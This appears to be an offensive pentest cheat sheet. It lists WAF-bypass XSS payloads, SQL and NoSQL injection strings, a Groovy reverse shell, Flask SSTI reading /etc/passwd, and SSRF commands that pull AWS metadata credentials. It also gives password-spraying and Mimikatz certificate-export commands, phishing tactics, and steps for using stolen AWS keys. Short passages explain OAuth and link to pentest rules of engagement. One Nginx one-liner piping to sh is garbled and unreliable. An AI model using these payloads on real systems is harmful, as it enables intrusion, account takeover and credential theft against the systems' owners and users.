# https://github.com/vincentcox/bypass-firewalls-by-DNS-history
bash bypass-firewalls-by-DNS-history.sh -d example.com
# Good bypass payload:
%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(0)
javascript:”/*’/*`/* →<html \” onmouseover=/*<svg/*/onload=alert()//>
# Bypass trying to access to :
dev.domain.com
stage.domain.com
ww1/ww2/ww3...domain.com
www.domain.uk/jp/
# Akamai
origin.sub.domain.com
origin-sub.domain.com
- Send header:
Pragma: akamai-x-get-true-cache-key
{{constructor.constructor(alert`1`)()}}
# Cloudflare
python3 cloudflair.py domain.com
# https://github.com/mandatoryprogrammer/cloudflare_enum
cloudflare_enum.py disney.com
https://viewdns.info/iphistory/?domain=domain.com
https://whoisrequest.com/history/
# Cloudflare bypasses
<!<script>alert(1)</script>
<a href=”j	a	v	asc
ri	pt:\u0061\u006C\u0065\u0072\u0074(this[‘document’][‘cookie’])”>X</a>
<img%20id=%26%23x101;%20src=x%20onerror=%26%23x101;;alert'1';>
<select><noembed></select><script x='a@b'a>y='a@b'//a@b%0a\u0061lert(1)</script x>
<a+HREF=’%26%237javascrip%26%239t:alert%26lpar;document.domain)’>
# DNS History
https://whoisrequest.com/history/
# Imperva
https://medium.com/@0xpegg/imperva-waf-bypass-96360189c3c5
url.com/search?search=%3E%3C/span%3E%3Cp%20onmouseover=%27p%3D%7E%5B%5D%3Bp%3D%7B%5F%5F%5F%3A%2B%2Bp%2C%24%24%24%24%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%5F%24%3A%2B%2Bp%2C%24%5F%24%5F%3A%28%21%5B%5D%2B%22%22%29%5Bp%5D%2C%5F%24%5F%3A%2B%2Bp%2C%24%5F%24%24%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%24%3A%28p%5Bp%5D%2B%22%22%29%5Bp%5D%2C%5F%24%24%3A%2B%2Bp%2C%24%24%24%5F%3A%28%21%22%22%2B%22%22%29%5Bp%5D%2C%24%5F%5F%3A%2B%2Bp%2C%24%5F%24%3A%2B%2Bp%2C%24%24%5F%5F%3A%28%7B%7D%2B%22%22%29%5Bp%5D%2C%24%24%5F%3A%2B%2Bp%2C%24%24%24%3A%2B%2Bp%2C%24%5F%5F%5F%3A%2B%2Bp%2C%24%5F%5F%24%3A%2B%2Bp%7D%3Bp%2E%24%5F%3D%28p%2E%24%5F%3Dp%2B%22%22%29%5Bp%2E%24%5F%24%5D%2B%28p%2E%5F%24%3Dp%2E%24%5F%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%24%24%3D%28p%2E%24%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28%28%21p%29%2B%22%22%29%5Bp%2E%5F%24%24%5D%2B%28p%2E%5F%5F%3Dp%2E%24%5F%5Bp%2E%24%24%5F%5D%29%2B%28p%2E%24%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%5F%24%5D%29%2B%28p%2E%5F%3D%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%5F%5D%29%2Bp%2E%24%5F%5Bp%2E%24%5F%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%24%2Bp%2E%24%3Bp%2E%24%24%3Dp%2E%24%2B%28%21%22%22%2B%22%22%29%5Bp%2E%5F%24%24%5D%2Bp%2E%5F%5F%2Bp%2E%5F%2Bp%2E%24%2Bp%2E%24%24%3Bp%2E%24%3D%28p%2E%5F%5F%5F%29%5Bp%2E%24%5F%5D%5Bp%2E%24%5F%5D%3Bp%2E%24%28p%2E%24%28p%2E%24%24%2B%22%5C%22%22%2Bp%2E%24%5F%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%24%24%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2Bp%2E%5F%5F%2B%22%28%5C%5C%5C%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%5F%2Bp%2E%24%24%24%5F%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2B%28%21%5B%5D%2B%22%22%29%5Bp%2E%5F%24%5F%5D%2Bp%2E%5F%24%2B%22%2C%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%24%24%5F%2Bp%2E%24%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%5F%24%5F%2Bp%2E%5F%24%24%2Bp%2E%24%24%5F%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%24%5F%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%5F%24%2Bp%2E%5F%5F%24%2B%22%5C%5C%22%2Bp%2E%5F%5F%24%2Bp%2E%24%24%5F%2Bp%2E%5F%5F%5F%2Bp%2E%5F%5F%2B%22%5C%5C%5C%22%5C%5C%22%2Bp%2E%24%5F%5F%2Bp%2E%5F%5F%5F%2B%22%29%22%2B%22%5C%22%22%29%28%29%29%28%29%3B%27%3E
# FAIL2BAN SQLi
(SELECT 6037 FROM(SELECT COUNT(*),CONCAT(0x7176706b71,(SELECT (ELT(6037=6037,1))),0x717a717671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Firebird
**Tools**
https://github.com/InfosecMatter/Scripts/blob/master/firebird-bruteforce.sh
./firebird\_bruteforce.sh IP DB /PATH/pwdlist.txt
https://www.infosecmatter.com/firebird-database-exploitation/
apt-get -y install firebird3.0-utils
isql-fb
Wordpress
wpscan --url https://url.com
wpscan --url <domain> --enumerate ap at # All Plugins, All Themes
wpscan --url <domain> --enumerate u # Usernames
wpscan --url <domain> --enumerate v
vulnx -u https://example.com/ --cms --dns -d -w -e
python3 cmsmap.py https://www.example.com -F
Check IP behing WAF:
https://blog.nem.ec/2020/01/22/discover-cloudflare-wordpress-ip/
# SQLi in WP and can't crack users hash:
1. Request password reset.
2. Go to site.com/wp-login.php?action=rp&key={ACTIVATION_KEY}&login={USERNAME}
# XMLRPC
pingback.xml:
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value>
<string>http://10.0.0.1/hello/world</string>
</value>
</param>
<param>
<value>
<string>https://10.0.0.1/hello/world/</string>
</value>
</param>
</params>
</methodCall>
curl -X POST -d @pingback.xml https://exmaple.com/xmlrpc.php
Evidence xmlrpc:
curl -d '<?xml version="1.0" encoding="iso-8859-1"?><methodCall><methodName>demo.sayHello</methodName><params/></methodCall>' -k https://example.com/xmlrpc.php
Enum User:
for i in {1..50}; do curl -s -L -i https://example.com/wordpress?author=$i | grep -E -o "Location:.*" | awk -F/ '{print $NF}'; done
Webdav
davtest -cleanup -url http://target
cadaver http://target
Joomla
# Joomscan
joomscan -u http://10.11.1.111
joomscan -u http://10.11.1.111 --enumerate-components
python3 cmseek.py -u domain.com
vulnx -u https://example.com/ --cms --dns -d -w -e
python3 cmsmap.py https://www.example.com -F
Jenkins
JENKINSIP/PROJECT//securityRealm/user/admin
JENKINSIP/jenkins/script
Groovy RCE
def process = "cmd /c whoami".execute();println "${process.text}";
Groovy RevShell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
IIS
# ViewState:
https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC
# WebResource.axd:
https://github.com/inquisb/miscellaneous/blob/master/ms10-070_check.py
# ShortNames
https://github.com/irsdl/IIS-ShortName-Scanner
java -jar iis_shortname_scanner.jar 2 20 http://domain.es
# Padding Oracle Attack:
# https://github.com/KishanBagaria/padding-oracle-attacker
npm install --global padding-oracle-attacker
padding-oracle-attacker decrypt hex: [options]
padding-oracle-attacker decrypt b64: [options]
padding-oracle-attacker encrypt [options]
padding-oracle-attacker encrypt hex: [options]
padding-oracle-attacker analyze [] [options]
# Look for web.config or web.xml
https://x.x.x.x/.//WEB-INF/web.xml
# ASP - force error paths
/con/
/aux/
con.aspx
aux.aspx
Firebase
# https://github.com/Turr0n/firebase
python3 firebase.py -p 4 --dnsdumpster -l file
# https://github.com/MuhammadKhizerJaved/Insecure-Firebase-Exploit
OWA
**Tools**
* MailSniper - [https://github.com/dafthack/MailSniper](https://github.com/dafthack/MailSniper)
* UserName Recon/Password Spraying - [http://www.blackhillsinfosec.com/?p=4694](http://www.blackhillsinfosec.com/?p=4694)
* Password Spraying MFA/2FA - [http://www.blackhillsinfosec.com/?p=5089](http://www.blackhillsinfosec.com/?p=5089)
* Password Spraying/GlobalAddressList - [http://www.blackhillsinfosec.com/?p=5330](http://www.blackhillsinfosec.com/?p=5330)
* Outlook 2FA Bypass - [http://www.blackhillsinfosec.com/?p=5396](http://www.blackhillsinfosec.com/?p=5396)
* Malicious Outlook Rules - [https://silentbreaksecurity.com/malicious-outlook-rules/](https://silentbreaksecurity.com/malicious-outlook-rules/)
* Outlook Rules in Action - [http://www.blackhillsinfosec.com/?p=5465](http://www.blackhillsinfosec.com/?p=5465)
* Spraying toolkit: [https://github.com/byt3bl33d3r/SprayingToolkit](https://github.com/byt3bl33d3r/SprayingToolkit)
Name Conventions:
- FirstnameLastinitial
- FirstnameLastname
- Lastname.firstname
# Password spraying:
Invoke-PasswordSprayOWA -ExchHostName mail.r-1x.com -UserList C:\users.txt -Password Dakota2019! -OutFile C:\creds.txt -Threads 10
python3 atomizer.py owa mail.r-1x.com 'Dakota2019!' ../users.txt
VHosts
**Tools**
https://github.com/codingo/VHostScan
https://github.com/jobertabma/virtual-host-discovery
OAuth
Explanation
OAuth 2.0
https://oauth.net/2/
https://oauth.net/2/grant-types/authorization-code/
Flow:
1. MyWeb tried integrate with Twitter.
2. MyWeb request to Twitter if you authorize.
3. Prompt with a consent.
4. Once accepted Twitter send request redirect_uri with code and state.
5. MyWeb take code and it's own client_id and client_secret and ask server for access_token.
6. MyWeb call Twitter API with access_token.
Definitions:
- resource owner: The resource owner is the user/entity granting access to their protected resource, such as their Twitter account Tweets
- resource server: The resource server is the server handling authenticated requests after the application has obtained an access token on behalf of the resource owner . In the above example, this would be https://twitter.com
- client application: The client application is the application requesting authorization from the resource owner. In this example, this would be https://yourtweetreader.com.
authorization server: The authorization server is the server issuing access tokens to the client application after successfully authenticating the resource owner and obtaining authorization. In the above example, this would be https://twitter.com
- client_id: The client_id is the identifier for the application. This is a public, non-secret unique identifier.
- client_secret: The client_secret is a secret known only to the application and the authorization server. This is used to generate access_tokens
- response_type: The response_type is a value to detail which type of token is being requested, such as code
- scope: The scope is the requested level of access the client application is requesting from the resource owner
- redirect_uri: The redirect_uri is the URL the user is redirected to after the authorization is complete. This usually must match the redirect URL that you have previously registered with the service
- state: The state parameter can persist data between the user being directed to the authorization server and back again. It’s important that this is a unique value as it serves as a CSRF protection mechanism if it contains a unique or random value per request
- grant_type: The grant_type parameter explains what the grant type is, and which token is going to be returned
- code: This code is the authorization code received from the authorization server which will be in the query string parameter “code” in this request. This code is used in conjunction with the client_id and client_secret by the client application to fetch an access_token
- access_token: The access_token is the token that the client application uses to make API requests on behalf of a resource owner
- refresh_token: The refresh_token allows an application to obtain a new access_token without prompting the user
Bugs
- Weak redirect_uri configuration
• Open redirects: https://yourtweetreader.com/callback?redirectUrl=https://evil.com
• Path traversal: https://yourtweetreader.com/callback/../redirect?url=https://evil.com
• Weak redirect_uri regexes: https://yourtweetreader.com.evil.com
• HTML Injection and stealing tokens via referer header: https://yourtweetreader.com/callback/home/attackerimg.jpg
- Improper handling of state parameter
• Slack integrations allowing an attacker to add their Slack account as the recipient of all notifications/messages
• Stripe integrations allowing an attacker to overwrite payment info and accept payments from the victim’s customers
• PayPal integrations allowing an attacker to add their PayPal account to the victim’s account, which would deposit money to the attacker’s PayPal
- Assignment of accounts based on email address
• If not email verification is needed in account creation, register before the victim.
• If not email verification in Oauth signing, register other app before the victim.
- Disclosure of secrets in url
- Access token passed in request body
→ If the access token is passed in the request body at the time of allocating the access token to the web application there arises an attack scenario. An attacker can create a web application and register for an Oauth framework with a provider such as twitter or facebook. The attacker uses it as a malicious app for gaining access tokens. For example, a Hacker can build his own facebook app and get victim’s facebook access token and use that access token to login into victim account.
- Reusability of an Oauth access token
→ Sometimes there are cases where an Ouath token previously used does not expire with an immediate effect post logout of the account. In such cases there is a possiblility to login with the previous Oauth token i.e; replace the new Oauth access token with the old one and continue to the application. This should not be the case and is considered as a very bad practice.
Multiple OAUTH resources
https://owasp.org/www-pdf-archive/20151215-Top_X_OAuth_2_Hacks-asanso.pdf
https://medium.com/@lokeshdlk77/stealing-facebook-mailchimp-application-oauth-2-0-access-token-3af51f89f5b0
https://medium.com/a-bugz-life/the-wondeful-world-of-oauth-bug-bounty-edition-af3073b354c1
https://gauravnarwani.com/misconfigured-oauth-to-account-takeover/
https://medium.com/@Jacksonkv22/oauth-misconfiguration-lead-to-complete-account-takeover-c8e4e89a96a
https://medium.com/@logicbomb_1/bugbounty-user-account-takeover-i-just-need-your-email-id-to-login-into-your-shopping-portal-7fd4fdd6dd56
https://medium.com/@protector47/full-account-takeover-via-referrer-header-oauth-token-steal-open-redirect-vulnerability-chaining-324a14a1567
https://hackerone.com/reports/49759
https://hackerone.com/reports/131202
https://hackerone.com/reports/6017
https://hackerone.com/reports/7900
https://hackerone.com/reports/244958
https://hackerone.com/reports/405100
https://ysamm.com/?p=379
https://www.amolbaikar.com/facebook-oauth-framework-vulnerability/
https://medium.com/@godofdarkness.msf/mail-ru-ext-b-scope-account-takeover-1500-abdb1560e5f9
https://medium.com/@tristanfarkas/finding-a-security-bug-in-discord-and-what-it-taught-me-516cda561295
https://medium.com/@0xgaurang/case-study-oauth-misconfiguration-leads-to-account-takeover-d3621fe8308b
https://medium.com/@rootxharsh_90844/abusing-feature-to-steal-your-tokens-f15f78cebf74
http://blog.intothesymmetry.com/2014/02/oauth-2-attacks-and-bug-bounties.html
http://blog.intothesymmetry.com/2015/04/open-redirect-in-rfc6749-aka-oauth-20.html
https://www.veracode.com/blog/research/spring-social-core-vulnerability-disclosure
https://medium.com/@apkash8/oauth-and-security-7fddce2e1dc5
Flask
**Tools**
https://github.com/Paradoxis/Flask-Unsign
pip3 install flask-unsign
flask-unsign
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
flask-unsign --decode --server 'https://www.example.com/login'
flask-unsign --unsign --cookie < cookie.txt
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
Python Flask SSTI Payloads and tricks
* {{url_for.globals}}
* {{request.environ}}
* {{config}}
* {{url_for.__globals__.__builtins__.open('/etc/passwd').read()}}
* {{self}}
* request|attr('class') == request.class == request[\x5f\x5fclass\x5f\x5f]
Symfony/Twig
- Twig:
https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34
- Check for
www.example.com/_profiler/
it contains errors and server variables
**Tools**
# Server-Side Template Injection and Code Injection Detection and Exploitation Tool
https://github.com/epinna/tplmap
./tplmap.py -u 'http://www.target.com/page?name=John'
Drupal
**Tools**
# https://github.com/ajinabraham/CMSScan
docker run -it -p 7070:7070 cmsscan
python3 cmsmap.py https://www.example.com -F
# https://github.com/Tuhinshubhra/CMSeeK
python3 cmseek.py -u domain.com
NoSql/MongoDB
**Tools**
https://github.com/codingo/NoSQLMap
python setup.py install
# Payload:
' || 'a'=='a
mongodbserver:port/status?text=1
# in URL
username[$ne]=toto&password[$ne]=toto
##in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt":""}, "password": {"$gt":""}}
PHP
**Tools**
https://github.com/TarlogicSecurity/Chankro
# Bypass disable_functions and open_basedir
python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html
RoR (Ruby on Rails)
**Tools**
# https://github.com/presidentbeef/brakeman
gem install brakeman
brakeman /path/to/rails/application
JBoss - Java Deserialization
# JexBoss
# https://github.com/joaomatosf/jexboss
python jexboss.py -host http://target_host:8080
OneLogin - SAML Login
# https://developers.onelogin.com/saml
# https://github.com/fadyosman/SAMLExtractor
./samle.py -u https://carbon-prototype.uberinternal.com/
./samle.py -r "https://domain.onelogin.com/trust/saml2/http-post/sso/571434?SAMLRequest=nVNNb9swDP0rhu7%2BkO0iqRAH8FIMC9BtRuLtOjAS2wqwJU%2Bi1%2FTfT3aSIoc1h10siXzie3yiVx76bhD1SC9mh79H9BQd%2B854MScqNjojLHjthYEevSAp9vXXR5EnmRicJSttx6LmvPukjdLm%2Bfa1wwnkxZe2beLm%2B75l0U90XltTsQBg0db7EbfGExgKoYwvY85jXrZZJgouijxAHiqGPC8XRblEDF9eZvcqX4DEXC3v70CpgkW19%2BgoFN5Y48ce3R7dHy3xx%2B6xYi9EgxdpKsEdrInnbuhtwGQ8oNOG0BnoEml7UZZFarWC4FI6%2BfJLnsqx9Wo6ilmvuzLutgFwUcXWFw0wDIk12NlnbSbKmSbtkUABQXq34GVRrtIrthP1IL6F8tuHxnZavkV119nXjUMgrBi5EVn02boe6GNBPOFzRKv4aYYK7EF3tVIOvWfphec8HajmWQl%2BEh4p2th%2BAKf99HR4BEkXS65Rmy50vMOn%2FzHoJkwKOZUO4SYsr9apaRBRBpWtA%2BMH6%2Bhs2r%2F0rE%2B5D3p7z17%2FHOu%2F&RelayState=%2F"
Adobe Flash SWF
# SWF Param Finder
https://github.com/m4ll0k/SWFPFinder
bash swfpfinder.sh https://example.com/test.swf
Adobe AEM
# AEM hacker
https://github.com/0ang3el/aem-hacker
python3 aem_discoverer.py --file urls.txt --workers 150
python3 aem_hacker.py --url https://example.com --host burp-collaborator
# AEM scan
https://github.com/Raz0r/aemscan
aemscan http://example.com
Nginx
curl -gsS https://example.com:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00example.com/../../../%00/n …\<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Cloud
General
**Tools**
# Non provider specific and general purpose
# https://github.com/nccgroup/ScoutSuite
# https://github.com/initstring/cloud_enum
python3 cloud_enum.py -k companynameorkeyword
# Dictionary
https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb
Searching for bad configurations
No auditable items:
• DoS testing
• Intense fuzzing
• Phishing the cloud provider’s employees
• Testing other company’s assets
• Etc.
Audit policies:
# Azure
https://www.microsoft.com/en-us/msrc/pentest-rules-of-engagement
# Aws
https://aws.amazon.com/security/penetration-testing/
# GCP
https://support.google.com/cloud/answer/6262505?hl=en
# Quicks
.cspkg file its a gold mine, its a zip file with all the compiled code and config files.
Recon
• First step should be to determine what services are in use
• More and more orgs are moving assets to the cloud one at a time
• Many have limited deployment to cloud providers, but some have fully embraced the cloud and are using it for AD, production assets, security products, and more
• Determine things like AD connectivity, mail gateways, web apps, file storage, etc.
• Traditional host discovery still applies
• After host discovery resolve all names, then perform whois
lookups to determine where they are hosted
• Microsoft, Amazon, Google IP space usually indicates cloud service usage
◇ More later on getting netblock information for each cloud service
• MX records can show cloud-hosted mail providers
• Certificate Transparency (crt.sh)
• Monitors and logs digital certs
• Creates a public, searchable log
• Can help discover additional subdomains
• More importantly… you can potentially find more Top Level Domains (TLD’s)!
• Single cert can be scoped for multiple domains
• Search (Google, Bing, Baidu, DuckDuckGo): site:targetdomain.com -site:www.targetdomain.com
• Shodan.io and Censys.io zoomeye.org
• Internet-wide portscans
• Certificate searches
• Shodan query examples:
◇ org:”Target Name”
◇ net:”CIDR Range”
◇ port:”443”
• DNS Brute Forcing
• Performs lookups on a list of potential subdomains
• Make sure to use quality lists
• SecLists: https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS
• MX Records can help us identify cloud services in use
◇ O365 = target-domain.mail.protection.outlook.com
◇ G-Suite = google.com | googlemail.com
◇ Proofpoint = pphosted.com
• If you find commonalities between subdomains try iterating names
• Other Services
◇ HackerTarget https://hackertarget.com/
◇ ThreatCrowd https://www.threatcrowd.org/
◇ DNSDumpster https://dnsdumpster.com/
◇ ARIN Searches https://whois.arin.net/ui/
▪ Search bar accepts wild cards “*”
▪ Great for finding other netblocks owned by the same organization
• Azure Netblocks
▪ Public: https://www.microsoft.com/en-us/download/details.aspx?id=56519
▪ US Gov: http://www.microsoft.com/en-us/download/details.aspx?id=57063
▪ Germany: http://www.microsoft.com/en-us/download/details.aspx?id=57064
▪ China: http://www.microsoft.com/en-us/download/details.aspx?id=57062
• AWS Netblocks
◇ https://ip-ranges.amazonaws.com/ip-ranges.json
• GCP Netblocks
◇ Google made it complicated so there’s a script on the next page to get the current IP netblocks.
• Box.com Usage
◇ Look for any login portals
▪ https://companyname.account.box.com
◇ Can find cached Box account data too
• Employees
◇ LinkedIn
◇ PowerMeta https://github.com/dafthack/PowerMeta
◇ FOCA https://github.com/ElevenPaths/FOCA
◇ hunter.io
Tools:
• Recon-NG https://github.com/lanmaster53/recon-ng
• OWASP Amass https://github.com/OWASP/Amass
• Spiderfoot https://www.spiderfoot.net/
• Gobuster https://github.com/OJ/gobuster
• Sublist3r https://github.com/aboul3la/Sublist3r
Foothold:
• Find ssh keys in shhgit.darkport.co.uk https://github.com/eth0izzle/shhgit
• GitLeaks https://github.com/zricethezav/gitleaks
• Gitrob https://github.com/michenriksen/gitrob
• Truffle Hog https://github.com/dxa4481/truffleHog
Password attacks:
• Password Spraying
◇ Trying one password for every user at an org to avoid account lockouts (Spring2020)
• Most systems have some sort of lockout policy
◇ Example: 5 attempts in 30 mins = lockout
• If we attempt to auth as each individual username one time every 30 mins we lockout nobody
• Credential Stuffing
◇ Using previously breached credentials to attempt to exploit password reuse on corporate accounts
• People tend to reuse passwords for multiple sites including corporate accounts
• Various breaches end up publicly posted
• Search these and try out creds
• Try iterating creds
Web server explotation
• Out-of-date web technologies with known vulns
• SQL or command injection vulns
• Server-Side Request Forgery (SSRF)
• Good place to start post-shell:
• Creds in the Metadata Service
• Certificates
• Environment variables
• Storage accounts
• Reused access certs as private keys on web servers
◇ Compromise web server
◇ Extract certificate with Mimikatz
◇ Use it to authenticate to Azure
• Mimikatz can export “non-exportable” certificates:
mimikatz# crypto::capi
mimikatz# privilege::debug
mimikatz# crypto::cng
mimikatz# crypto::certificates /systemstore:local_machine /store:my /export
Phising
• Phishing is still the #1 method of compromise
• Target Cloud engineers, Developers, DevOps, etc.
• Two primary phishing techniques:
◇ Cred harvesting / session hijacking
◇ Remote workstation compromise w/ C2
• Attack designed to steal creds and/or session cookies
• Can be useful when security protections prevent getting shells
• Email a link to a target employee pointing to cloned auth portal
◇ Examples: Microsoft Online (O365, Azure, etc.), G-Suite, AWS Console
• They auth and get real session cookies… we get them too.
Phishing: Remote Access
• Phish to compromise a user’s workstation
• Enables many other options for gaining access to cloud resources
• Steal access tokens from disk
• Session hijack
• Keylog
• Web Config and App Config files
◇ Commonly found on pentests to include cleartext creds
◇ WebApps often need read/write access to cloud storage or DBs
◇ Web.config and app.config files might contain creds or access tokens
◇ Look for management cert and extract to pfx like publishsettings files
◇ Often found in root folder of webapp
• Internal Code Repositories
◇ Gold mine for keys
◇ Find internal repos:
▪ A. Portscan internal web services (80, 443, etc.) then use EyeWitness to screenshot each service to quickly analyze
▪ B. Query AD for all hostnames, look for subdomains git, code, repo, bitbucket, gitlab, etc..
◇ Can use automated tools (gitleaks, trufflehog, gitrob) or use built-in search features
▪ Search for AccessKey, AKIA, id_rsa, credentials, secret, password, and token
• Command history
• The commands ran previously may indicate where to look
• Sometimes creds get passed to the command line
• Linux hosts command history is here:
◇ ~/.bash_history
• PowerShell command history is here:
◇ %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Post-Compromise Recon
• Who do we have access as?
• What roles do we have?
• Is MFA enabled?
• What can we access (webapps, storage, etc.?)
• Who are the admins?
• How are we going to escalate to admin?
• Any security protections in place (ATP, GuardDuty, etc.)?
AWS
**Tools**
# Find buckets
# https://github.com/0xbharath/slurp
./slurp keyword -p permutations.json -t netflix -c 25
./slurp domain -t amazon.com
./slurp internal
# https://github.com/initstring/cloud_enum
python3 cloud_enum.py -k companynameorkeyword
# https://github.com/nahamsec/lazys3
ruby lazys3.rb companyname
# https://github.com/jordanpotti/AWSBucketDump
source /home/cloudhacker/tools/AWSBucketDump/bin/activate
touch s.txt
sed -i "s,$,-$bapname-awscloudsec,g" /home/cloudhacker/tools/AWSBucketDump/BucketNames.txt
python AWSBucketDump.py -D -l BucketNames.txt -g s.txt
# https://github.com/gwen001/s3-buckets-finder
php s3-buckets-bruteforcer.php --bucket gwen001-test002
# Unauth checkers
# https://github.com/sa7mon/S3Scanner
sudo python3 s3scanner.py sites.txt
sudo python ./s3scanner.py --include-closed --out-file found.txt --dump names.txt
# https://github.com/jordanpotti/AWSBucketDump
python3 AWSBucketDump.py -l hosts.txt
# https://github.com/Ucnt/aws-s3-data-finder/
python3 find_data.py -n bucketname -u
# Auth required
# Pacu https://github.com/RhinoSecurityLabs/pacu
# AwsPwn https://github.com/dagrz/aws_pwn
# WeirdAAL https://github.com/carnal0wnage/weirdAAL
# Dufflebag https://github.com/bishopfox/dufflebag
# https://github.com/andresriancho/enumerate-iam
python enumerate-iam.py --access-key XXXXXXXXXXXXX --secret-key XXXXXXXXXXX
# https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py
python aws_escalate.py
# https://github.com/RhinoSecurityLabs/pacu
Auth methods:
• Programmatic access - Access + Secret Key
◇ Secret Access Key and Access Key ID for authenticating via scripts and CLI
• Management Console Access
◇ Web Portal Access to AWS
Aws S3 permissions:
https://labs.detectify.com/2017/07/13/a-deep-dive-into-aws-s3-access-controls-taking-full-control-over-your-assets/
Recon:
• AWS Usage
◇ Some web applications may pull content directly from S3 buckets
◇ Look to see where web resources are being loaded from to determine if S3 buckets are being utilized
◇ Burp Suite
◇ Navigate application like you normally would and then check for any requests to:
▪ https://[bucketname].s3.amazonaws.com
▪ https://s3-[region].amazonaws.com/[OrgName]
S3:
• Amazon Simple Storage Service (S3)
◇ Storage service that is “secure by default”
◇ Configuration issues tend to unsecure buckets by making them publicly accessible
◇ Nslookup can help reveal region
◇ S3 URL Format:
▪ https://[bucketname].s3.amazonaws.com
▪ https://s3-[region].amazonaws.com/[Org Name]
# aws s3 ls s3://bucket-name-here --region
# aws s3api get-bucket-acl --bucket bucket-name-here
# aws s3 cp readme.txt s3://bucket-name-here --profile newuserprofile
EBS Volumes:
• Elastic Block Store (EBS)
• AWS virtual hard disks
• Can have similar issues to S3 being publicly available
• Dufflebag from Bishop Fox https://github.com/bishopfox/dufflebag
• Difficult to target specific org but can find widespread leaks
EC2:
• Like virtual machines
• SSH keys created when started, RDP for Windows.
• Security groups to handle open ports and allowed IPs.
PACU - An AWS exploitation framework from Rhino Security Labs
# https://github.com/RhinoSecurityLabs/pacu
• Modules examples:
• S3 bucket discovery
• EC2 enumeration
• IAM privilege escalation
• Persistence modules
• Exploitation modules
• And more…
AWS Instance Metadata URL
• Cloud servers hosted on services like EC2 needed a way to orient themselves because of how dynamic they are
• A “Metadata” endpoint was created and hosted on a non-routable IP address at 169.254.169.254
• Can contain access/secret keys to AWS and IAM credentials
• This should only be reachable from the localhost
• Server compromise or SSRF vulnerabilities might allow remote attackers to reach it
• IAM credentials can be stored here:
◇ http://169.254.169.254/latest/meta-data/iam/security-credentials/
• Can potentially hit it externally if a proxy service (like Nginx) is being hosted in AWS.
◇ curl --proxy vulndomain.target.com:80 http://169.254.169.254/latest/meta-data/iam/security-credentials/ && echo
• CapitalOne Hack
◇ Attacker exploited SSRF on EC2 server and accessed metadata URL to get IAM access keys. Then, used keys to dump S3 bucket containing 100 million individual’s data.
• AWS EC2 Instance Metadata service Version 2 (IMDSv2)
• Updated in November 2019 – Both v1 and v2 are available
• Supposed to defend the metadata service against SSRF and reverse proxy vulns
• Added session auth to requests
• First, a “PUT” request is sent and then responded to with a token
• Then, that token can be used to query data
--
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
curl http://example.com/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ISRM-WAF-Role
--
# If we can steal AWS credentials, add to your configuration
aws configure --profile stolen
# Open ~/.aws/credentials
# Under the [stolen] section add aws_session_token and add the discovered token value here
aws sts get-caller-identity --profile stolen
Post-compromise
• What do our access keys give us access to?
• WeirdAAL – Great tool for enumerating AWS access https://github.com/carnal0wnage/weirdAAL
◇ Run the recon_all module to learn a great deal about your access
https://github.com/toniblyx/my-arsenal-of-aws-security-tools
https://docs.aws.amazon.com/es_es/general/latest/gr/aws-security-audit-guide.html
export AWS_ACCESS_KEY_ID=
export AWS_SECRET_ACCESS_KEY=
